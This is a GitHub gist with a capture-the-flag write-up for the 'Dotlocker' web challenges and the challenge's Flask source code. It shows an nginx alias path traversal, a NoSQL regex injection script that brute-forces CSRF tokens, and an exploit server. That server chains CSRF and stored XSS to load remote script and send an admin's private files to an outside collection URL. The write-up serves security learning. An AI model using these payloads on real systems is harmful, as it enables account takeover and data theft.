Skip to content

Instantly share code, notes, and snippets.

@Fitblip
Created October 30, 2020 00:41
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Fitblip/4bf49a597fc23f8f408e69b70eeb9776 to your computer and use it in GitHub Desktop.
Save Fitblip/4bf49a597fc23f8f408e69b70eeb9776 to your computer and use it in GitHub Desktop.
import os
import re
from pymongo import MongoClient
from bson.objectid import ObjectId
client = MongoClient()
db = client.db
def get_or_add_user(_id=None, name=None):
x = None
if _id is not None:
try:
_id = ObjectId(_id)
x = db.users.find_one({'_id': _id})
except:
pass
if x is None:
u = {
'dotfiles': {},
'name': name if name else 'guest_'+os.urandom(5).encode('hex'),
'csrf': os.urandom(32).encode('hex'),
}
res = db.users.insert_one(u)
u['_id'] = res.inserted_id
return u
return x
def safe_name(name):
return re.sub(r'[^\w]','_',name)
def add_dotfile(user, name, file, overwrite_public=False):
file['name'] = str(name)
key = safe_name(name)
if (not overwrite_public and key in user['dotfiles'] and
user['dotfiles'][key].get('protected',False)):
return False
db.users.update({'_id':user['_id']},{'$set':{'dotfiles.'+key:file}})
return True
def get_user(_id):
try:
_id = ObjectId(_id)
except:
return None
return db.users.find_one({'_id':_id})
def get_user_by_name(name):
return db.users.find_one({'name':name})
def valid_csrf(token, _id):
try:
_id = ObjectId(_id)
except:
return False
return db.users.find_one({'csrf':token, '_id':_id}) is not None
import os
from functools import wraps
from flask import Flask, request, abort, send_from_directory, render_template, session, redirect, url_for
import db
import admin
"""
Keeping this here for safe keeping:
flag{0ff_by_sl4sh_n0w_1_hav3_y0ur_sourc3}
"""
app = Flask(__name__)
with open('secret','rb') as f:
app.config['SECRET_KEY'] = f.read()[:32]
def csrf(f):
@wraps(f)
def decorated(*args, **kwargs):
if request.method == 'GET':
return f(*args, **kwargs)
token = request.form.get('_csrf_token',None)
_id = request.form.get('_id',None)
if (not token or not _id) and request.is_json:
token = request.json.get('_csrf_token',None)
_id = request.json.get('_id',None)
if token and _id and db.valid_csrf(token, _id):
if not _id == session['_id']:
abort(401)
return f(*args, **kwargs)
abort(403)
return decorated
@app.route('/', methods=['GET','POST'])
def index():
return redirect(url_for('get_all_files'))
@app.route('/new')
def new():
return render_template('edit.html',data='', name='New Dotfile')
@app.route('/new/etc/<path:path>')
def new_path(path):
if '..' in path or path[0] == '/':
abort(403)
path_n = os.path.join('/etc',path)
path_n = os.path.realpath(path_n)
if not path_n.startswith('/etc/') or '..' in path_n:
abort(403)
data = ''
if os.path.exists(path_n) and os.path.isfile(path_n):
try:
with open(path_n,'r') as f:
data = f.read()
except:
abort(500)
pass
return render_template('edit.html',data=data,name=os.path.basename(path) if data else 'New Dotfile')
@app.route('/get/<path:path>')
def get(path):
return send_from_directory('/etc', path)
@app.route('/search', methods=['POST'])
def search():
u = db.get_user_by_name(request.form['name'])
if not u:
return render_template('error.html',msg='Sorry, we could not find a user named ',white=request.form['name'])
return redirect(url_for('public',id=u['_id']))
@app.route('/public/<string:id>')
def public(id):
u = db.get_user(id)
if not u:
return render_template('error.html',msg='Sorry, we could not find this user')
return render_template('files.html', user=u, public=True,
count=len([x for x in u['dotfiles'].values() if x.get('public',False)]))
@app.route('/public/<string:id>/<string:name>')
def get_public(id, name):
u = db.get_user(id)
if not u:
return render_template('error.html',msg='Sorry, we could not find this user')
safe = db.safe_name(name)
if not safe in u['dotfiles']:
return render_template('error.html',msg='Sorry, we could not find a file named ',white=name)
file = u['dotfiles'][safe]
if not file.get('public', False):
return render_template('error.html',msg='Sorry, we could not find a file named ',white=name)
return render_template('edit.html', data=file['data'], name=file['name'])
@app.route('/save', methods=['POST'])
@csrf
def save():
if not 'name' in request.form or not 'text' in request.form:
abort(400)
name = request.form['name'][:255]
text = request.form['text'][:0x1000*0x1000]
if len(name) == 0:
abort(400)
u = db.get_user(session['_id'])
db.add_dotfile(u, name, {'data':text})
return redirect(url_for('get_file', name=db.safe_name(name)))
@app.route('/files')
def get_all_files():
u = db.get_user(session['_id'])
return render_template('files.html', user=u, public=False)
@app.route('/files/<string:name>')
def get_file(name):
u = db.get_user(session['_id'])
name = db.safe_name(name)
if not name in u['dotfiles']:
return redirect(url_for('new'))
file = u['dotfiles'][name]
return render_template('edit.html', data=file['data'], name=file['name'])
@app.before_request
def before_request():
if not '_id' in session:
u = db.get_or_add_user()
session['_id'] = str(u['_id'])
def get_csrf_token():
if not '_id' in session:
abort(500)
u = db.get_user(session['_id'])
if not u:
abort(500)
return u['csrf']
app.jinja_env.globals['get_csrf_token'] = get_csrf_token
@app.errorhandler(404)
def page_not_found(e):
return render_template('error.html', msg='Sorry, we could not find this page...')
@app.errorhandler(500)
def internal_error(e):
return render_template('error.html', msg='Our bad... ', white='There was a server error')
"""
admin username: admin
ADMIN ROUTES
/admin/friends_only/share_link
"""
app.register_blueprint(admin.admin_routes, url_prefix='/admin')
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0')

Dotlocker 1

This was the only flag I managed to capture during the CTF itself, and this was definitely interesting enough to warrant a write up for both parts (we figured out Dotlocker 2 after the CTF ended)!

Visiting the main page we're greeted with the DotLocker application. Looks like it's specifically designed to do dotfile storage. Neat!

image

Generally with web apps you want to capture all the functionality you can, so I generally start off testing through all the workflows I can, so creating a new dotfile, creating one from a skeleton, etc etc.

image

The first thing to notice is that when you create a new dotfile from a template, it seems to be fetching it directly from the /etc directory! Interesting design choice, but also not entirely outside the realm of possibility if you've ever met "enterprise" developers :P.

image

So let's tinker! We have no idea about the stack at this point, but the standard LFI -> RCE path is to use your LFI to include /proc/self/environ and hope to inject code into one of the CGI environment variables passed in. Let's try that:

image

Hmm, no dice. Testing around for other files (/var/log/auth.log, /var/log/messages, etc) it's clear that we're likely constrained to /etc only :-/. Well, with that, what else can we see? Files like /etc/shadow and /etc/passwd help us enumerate users on the system (and potentially brute-force their credentials).

image

Looks like we have an app user with uid 1337 :P. How about /etc/shadow?

image

Interesting! This implies that the webserver isn't actually running as root on the box (the app user also helps confirm that) and likely doesn't have permissions to read that.

Anyway, what else can we examine in here that might give us hints?

image

Looking at the response headers, it looks like there's an nginx server running, let's try to find the config for that?

image

Hey that works, looks like we have our main nginx config file here and we can read it. Typically this file is more of a general catch-all config, most site configs live in /etc/nginx/sites-enabled/default or /etc/nginx/sites-available/default, so let's check those for more info.

image

A hah! That looks promising. With this config we're able to discern:

  • There's a /server folder on the server, that's holding a server.py file
  • This application is using gunicorn as it's python server, being proxied to through nginx
  • This application has a /static directory, aliased to /server/static

The /static route shares out files using the nginx alias, but seems somewhat suspect (there are a few ways to configure these static routes, and alias isn't one I'm familiar with).

Googling "nginx alias vulnerability" lead me to https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/, which describes an issue with this exact config. Apparently not having a trailing / on /static means we can traverse up a directory and read files we shouldn't be able to, which is very relevant to our interests!

image

Requesting /static../server.py and bam! We found our flag - flag{0ff_by_sl4sh_n0w_1_hav3_y0ur_sourc3}

Dotlocker 2

This was an interesting challenge in that it builds off Dotlocker 1, using the source file you leaked in part 1 to gain a foothold to further exploit things.

Exploration

It's important to know that one of my teammates discovered a stored XSS in the code editor, so that will be useful later in this write-up!

Picking up where we left off, we look at the server.py file, and 3 things jump out immediately:

  • There is a non-standard module named db being imported (presumably from the local directory)
  • There is a non-standard module named admin being imported (presumably from the local directory)
  • There is a secret file being used to prime the app-wide secret key that's used to sign session cookies (implying we might be able to recover it and generate our own session with any user)

image

Trying to pull down the secret file nets a 403 :-/

image

Likewise, trying to download the admin.py file nets the same result

image

However! db.py is readily accessible :)

image

Even better, this uses MongoDB, so you know it's webscale for this CTF ;).

From here we can audit these source files looking for issues or hidden functionality!

I suspected there was something baked into some of these templates, and sure enough I was able to pull down templates like /static../templates/base.html to look for hidden template comments, but it turns out this was a dead end. Damn!

We can also now see the /new/<path> route that had our original "LFI" in it, though this seems coded well and unable to be abused to break out of /etc.

image

Right under it we have this function which isn't used anywhere on the frontend, so I suspected that flask's send_from_directory had some quirk that might lead to a vuln, but auditing the code it looks like things are secure. Another brick wall :(

image

It was around this time I randomly typed admin into the search box which brings us to http://dotlocker.hackthe.vote/public/5f8f7cc164359d236ef1fc81, telling us that the "admin" user has an ID of 5f8f7cc164359d236ef1fc81, and that they have one dot file we can access - http://dotlocker.hackthe.vote/public/5f8f7cc164359d236ef1fc81/_bashrc.

The .bashrc file is pretty hilarious though!

image

Back to the source code!

Digging through some more it becomes obvious that there are extra attributes on these dotfiles either showing them or preventing them from being shown in public.

What's this at the bottom though?!

image

I like hidden urls! Visiting the page brings up this.

image

Now at this point my first thoughts are the CTF organizers built some sort of SSRF-as-a-service. I learned about a neat tool called PostBin (), so I generated one of those and had the admin "visit" it.

image

Sure enough, refreshing the page (https://postb.in/b/1604015674224-8191936721559) gives us a user agent of user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/88.0.4299.0 Safari/537.36, so this IS some sort of SSRF-as-a-service.

My next thoughts were that we'd be able to reflect through this to somehow ship off something like AWS metadata to us or exploit something within the application (maybe shoveling the secret to us so we can generate our own keys?).

Finally a break!

By this point the CTF was well over and we were still tinkering when one of my team-mates in the discord posted this:

image

Interesting! So we're supposed to get a nosqli somewhere that leaks us the CSRF token, then we need to CSRF the admin user using this SSRF-as-a-service tool.

The nosql injection is very subtle, but once you see it you can figure out how to exploit it. The vulnerability itself is in the @csrf decorator, which is only used by the /save route.

image

image

The important code is highlighted below:

image

Essentially this says:

  • If we have a GET request, just allow the request through (no need to check CSRF)
  • If we have a submitted HTML form, get the _csrf_token and _id from it, passing them into db.valid_csrf()
  • If we don't have a submitted HTML form, but do have a JSON request, set _csrf_token and _id from those JSON variables sent as part of the request.

So then what does db.valid_csrf() do?

image

It takes those values and pops them directly into a db.users.find_one request.

The thing it fails to account for is that the data type being passed in with a JSON request is, well, JSON, and it might have nested objects in it that will get passed into the mongodb request.

Reading up on nosql injections, I found https://securityboulevard.com/2020/08/mitigating-nosql-injection-attacks-part-2/, which outlines nosql injections, mentioning the $regex operator!

So now the question is, are we able to leverage this into something that lets us leak that CSRF token? Let's try it with our own id and token first to see what it does if we just submit JSON:

image

400, alright, somewhat expected since we get into our /save handler, and didn't post an actual form. What if we change the csrf token though?

image

Interesting! Now we get a 403 forbidden. This tells me that if we have a valid csrf token / id pair, we'll get 400's returned, if there's an issue our csrf validation logic kicks in and returns a 403 fobidden.

Now what happens if we make our _csrf_token parameter an object with a $regex expression?

image

Neat, that seems to work still (we still get our 400)! Making moves :)

Now what if we lopped off a bunch of bytes and put * at the end?

image

Another 400! Now we know this is exploitable, so let's get to 'sploitin!

At this point I whipped together a script to iterate through and brute-force out a csrf token for a given user id, which can be done like this:

import requests
import string

characters = string.ascii_lowercase[:6] + string.digits

LEN = 64

payload = ""

headers = {
	"Cookie": "session=eyJfaWQiOnsiIGIiOiJOV1k1WWpSaVpUSTJORE0xT1dReU0yUTBZMkk0TWprMSJ9fQ.X5tL4g.kYWc_tNEzxHKo7QVHnNsV2GJxBw"
}

for x in range(LEN):
	for char in characters:
		# print("Requesting")
		response = requests.post('http://dotlocker.hackthe.vote/save', json={
			"_csrf_token": {"$regex": "^{}".format(payload + char)},
			"_id": "5f9b4be264359d23d4cb8295"
		}, headers=headers)
		if response.status_code == 400:
			print("found - {}".format(payload + char))
			payload += char
			break

Note that 5f9b4be264359d23d4cb8295 is OUR ID, so we're just trying to ensure we can recover our own CSRF token before unleashing this on the admin :).

image

Before you know it, our script has successfully extracted our CSRF token (c81b0c250ea043282fd0edb8eb14ca0f4bfcd936366d0165265ed649b147d0e6), so let's do the same thing but change the ID to 5f8f7cc164359d236ef1fc81 to capture the admin's CSRF token.

Note! We have to change the response status code check to check for a 401, we get that returned if we're trying to fiddle with users that aren't us!

image

Finally we're able to see that the admin's (ID: 5f8f7cc164359d236ef1fc81) CSRF token is c81b0c250ea043282fd0edb8eb14ca0f4bfcd936366d0165265ed649b147d0e6. Perfect!

Launching the exploit

At this point we know we're supposed to CSRF the admin user to do what exactly? Why to XSS themselves of course! We can use the XSS found earlier in our exploring to potentially execute arbitrary JS as the context of the admin user, assuming we can have them visit a link that drops our XSS payload onto their dotfile repo (then another one to trigger it).

I needed to be able to have the admin thing reach directly to me, so I launched the ngrok docker image:

$ docker run --net=host -it --rm wernight/ngrok ngrok http host.docker.internal:3000

Which gives me an ability to serve requests to my special ngrok url

image

So what to serve then? Well how about a webpage that, when visited, will force a POST request to the /save endpoint with our evil payload in it?

I put together a flask server to host the malicious CSRF form which forces the admin to submit a CSRF with my XSS payload in it (which just dynamically includes my flask app's /script.js route).

Basically this exploit works in a few steps:

  • First, have the admin hit the ngrok server directly, which submits the XSS payload into a file named adsf. The first admin you put into the SSRF-as-a-service is the ngrok server, so it hits the / handler and makes our CSRF POST request to land the XSS payload. Pointing the <script> tag at a postb.in can help confirm that the exploit is viable (note the referrer) image

  • Second, you request the admin visit http://dotlocker.hackthe.vote/files/asdf, which will execute our XSS payload, forcing the admin's browser to load https://some-ngrok-server/script.js. "Phase 1" noted in the JS is responsible for creating an iframe, enumerating all files in the admin's private space, and smuggling them out via postb.in. This ultimately gives us these files image

  • Third, do the same process with Iframes, but instead load up flag.txt, and smuggle that off to us, getting our flag as well as an overwhelming sense of accomplishment :D image

And finally, here's the exploit server I wrote to finally get me that sweet sweet flag!

import os
from functools import wraps

from flask import Flask, request, abort, send_from_directory, render_template, session, redirect, url_for, Response

app = Flask(__name__)

# Text value below is literally just this, which bootstraps a new JS file every time as I want to edit things
# if [ </span><script src="http://3f5f510541c4.ngrok.io/script.js"></script> ]; then

HTML = """
<html>
    <h1>Hello, goodbye!</h1>

    <form name='x' action="http://dotlocker.hackthe.vote/save" method="POST">
        <div class="field">
          <div class="control">
            <input class="input" type="text" name="name" id="nameprompt" placeholder="Dotfile Name" value="asdf">
            <input type="hidden" name="text" id="textbody">
            <input type="hidden" name="_csrf_token" value="e991d39e30cee6c53494428e12e9632092aa735d2c19d5081595f7c57da3755e">
            <input type="hidden" name="_id" value="5f8f7cc164359d236ef1fc81">
          </div>
        </div>
    </form>

    <script>
        document.x.text.value = decodeURIComponent('%69%66%20%5b%20%3c%2f%73%70%61%6e%3e%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%33%66%35%66%35%31%30%35%34%31%63%34%2e%6e%67%72%6f%6b%2e%69%6f%2f%73%63%72%69%70%74%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e%20%5d%3b%20%74%68%65%6e')
        document.x.submit();
    </script>
</html>
"""

@app.route('/', methods=['GET','POST'])
def index():
    return Response(HTML, mimetype='text/html')

@app.route('/script.js')
def script():
    print(request)
    return """
var iframe = document.createElement('iframe');

// Phase 1 iframe should load the files directory
//iframe.setAttribute('src', 'http://dotlocker.hackthe.vote/files/');

// Phase 2 iframe should load the individual file
iframe.setAttribute('src', 'http://dotlocker.hackthe.vote/files/flag.txt');

// Phase 1: enumerating all the files
// iframe.onload = function() { 
//     let files = [];
//     iframe.contentDocument.documentElement.querySelectorAll('.box').forEach((item) => { files.push(item.innerText) })
//     var img = document.createElement('img');
//     img.setAttribute('src', 'https://postb.in/1603684417670-7872029298450?' + new URLSearchParams({
//         files: files,
//     }));
// }; 

// Phase 2: getting file contents
iframe.onload = function() { 
    var img = document.createElement('img');
    // Ship everything off to postbin for capture
    img.setAttribute('src', 'https://postb.in/1603684417670-7872029298450?' + new URLSearchParams({
        content: iframe.contentDocument.documentElement.innerText,
    }));
}; 

document.body.appendChild(iframe);
"""

if __name__ == '__main__':
    app.run(debug=True, host='127.0.0.1')
import os
from flask import Flask, request, abort, send_from_directory, render_template, session, redirect, url_for, Response
app = Flask(__name__)
# Text value below is literally just this, which bootstraps a new JS file every time as I want to edit things
# if [ </span><script src="http://3f5f510541c4.ngrok.io/script.js"></script> ]; then
HTML = """
<html>
<h1>Hello, goodbye!</h1>
<form name='x' action="http://dotlocker.hackthe.vote/save" method="POST">
<div class="field">
<div class="control">
<input class="input" type="text" name="name" id="nameprompt" placeholder="Dotfile Name" value="asdf">
<input type="hidden" name="text" id="textbody">
<input type="hidden" name="_csrf_token" value="e991d39e30cee6c53494428e12e9632092aa735d2c19d5081595f7c57da3755e">
<input type="hidden" name="_id" value="5f8f7cc164359d236ef1fc81">
</div>
</div>
</form>
<script>
document.x.text.value = decodeURIComponent('%69%66%20%5b%20%3c%2f%73%70%61%6e%3e%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%33%66%35%66%35%31%30%35%34%31%63%34%2e%6e%67%72%6f%6b%2e%69%6f%2f%73%63%72%69%70%74%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e%20%5d%3b%20%74%68%65%6e')
document.x.submit();
</script>
</html>
"""
@app.route('/', methods=['GET','POST'])
def index():
return Response(HTML, mimetype='text/html')
@app.route('/script.js')
def script():
print(request)
return """
var iframe = document.createElement('iframe');
// Phase 1 iframe should load the files directory
//iframe.setAttribute('src', 'http://dotlocker.hackthe.vote/files/');
// Phase 2 iframe should load the individual file
iframe.setAttribute('src', 'http://dotlocker.hackthe.vote/files/flag.txt');
// Phase 1: enumerating all the files
// iframe.onload = function() {
// let files = [];
// iframe.contentDocument.documentElement.querySelectorAll('.box').forEach((item) => { files.push(item.innerText) })
// var img = document.createElement('img');
// img.setAttribute('src', 'https://postb.in/1603684417670-7872029298450?' + new URLSearchParams({
// files: files,
// }));
// };
// Phase 2: getting file contents
iframe.onload = function() {
var img = document.createElement('img');
// Ship everything off to postbin for capture
img.setAttribute('src', 'https://postb.in/1603684417670-7872029298450?' + new URLSearchParams({
content: iframe.contentDocument.documentElement.innerText,
}));
};
document.body.appendChild(iframe);
"""
if __name__ == '__main__':
app.run(debug=True, host='127.0.0.1')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment